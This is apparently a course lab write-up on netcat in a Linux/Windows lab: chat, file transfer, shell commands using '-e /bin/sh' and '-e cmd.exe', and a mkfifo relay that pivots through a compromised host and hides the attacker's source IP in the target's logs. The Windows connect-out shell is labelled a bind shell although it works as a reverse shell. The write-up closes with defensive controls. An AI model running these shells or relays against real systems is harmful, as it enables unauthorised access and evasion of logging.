Netcat for Data Transfer, Shells, and Pivot Relays
Used netcat between a Slingshot Linux host and a Windows host for listener/client chat, then transferred files both ways (Get-Content piped into nc on Windows, redirect out on Linux, and the reverse with Out-File). Set up bind shells on both operating systems (nc -l -p 7777 -e /bin/sh on Linux; nc <ip> 8888 -e cmd.exe on Windows), confirming SYSTEM-adjacent context on each. The finale was a pivot: the attacker could not reach 172.30.0.55, but a compromised pivot host at 172.30.0.50 could. A named-pipe relay (mkfifo namedpipe; nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe) let the attacker curl the target through the pivot; the target's access log showed the pivot's IP, not the attacker's.
Commands
1. Listener/client chat
The simplest netcat use: a listener on one host (nc -l -p 2222) and a client connecting to it from the other. Whatever one side types, the other sees. This confirms bidirectional connectivity and is the mental model for every mode that follows.
# Linux listener nc -l -p 2222 # Windows client nc 10.10.75.1 2222
2. File transfer, both directions
Windows to Linux: pipe a file into a listener (Get-Content .\text.txt | nc -l -p 1234) and redirect it out on the receiver (nc 10.10.0.1 1234 > received.txt). Then the reverse, with Out-File on the Windows side. netcat is a file-transfer tool as much as a shell tool.
# Win: Get-Content .\text.txt | nc -l -p 1234 # Linux: nc 10.10.0.1 1234 > received.txt # Linux: cat file.txt | nc 10.10.0.1 4321 # Win: nc -l -p 4321 | Out-File received2.txt
3. Bind shell on Linux
nc -l -p 7777 -e /bin/sh binds a shell to a listener; the Windows client connects and runs commands on the Linux host. whoami/id confirmed the sec504 user and its group memberships (docker, sudo, and others worth noting for privilege escalation).
# Linux: nc -l -p 7777 -e /bin/sh # Windows: nc 10.10.75.1 7777 whoami; id; pwd
4. Bind shell on Windows
The same pattern in reverse: nc <ip> 8888 -e cmd.exe on Windows, listener on Linux. Confirmed the host (Sec504Student, Windows 10.0.19044) and dropped into C:\WINDOWS\system32. netcat gives a shell on either operating system with the same two commands.
# Windows: nc 10.10.75.1 8888 -e cmd.exe # Linux: nc -l -p 8888 echo %username%; hostname; dir
5. Port-check through a pivot
The attacker's -z scan of 172.30.0.55:80 timed out (no direct route), but from the compromised pivot host at 172.30.0.50 the same scan reported the port open. This establishes that the pivot can reach the target the attacker cannot.
# attacker (fails): nc -vvv -z -w3 172.30.0.55 80 # pivot (succeeds): nc -vvv -z -w3 172.30.0.55 80
6. Named-pipe relay and log confirmation
On the pivot, a FIFO makes the relay bidirectional: nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe. The attacker then curls http://172.30.0.50:8080 and gets the target's page (a CTF password). Critically, the target's access log records 172.30.0.50 (the pivot) as the client, not the attacker. The relay launders the source IP.
mkfifo namedpipe nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe # attacker: curl http://172.30.0.50:8080
Key Findings
- netcat handled chat, file transfer both ways, and bind shells on Linux and Windows with the same primitives
- A named-pipe relay turned a compromised host into a transparent proxy to an unreachable target
- The target access log recorded the pivot IP (172.30.0.50), not the attacker's
- -z -w3 through the pivot confirmed reachability the attacker lacked directly
Security Controls
- Egress filtering and detection of shells spawned by listeners
- Network segmentation to limit pivot reach
- Cross-host log correlation to defeat source-IP laundering
- EDR detection of -e shell behavior and FIFO relays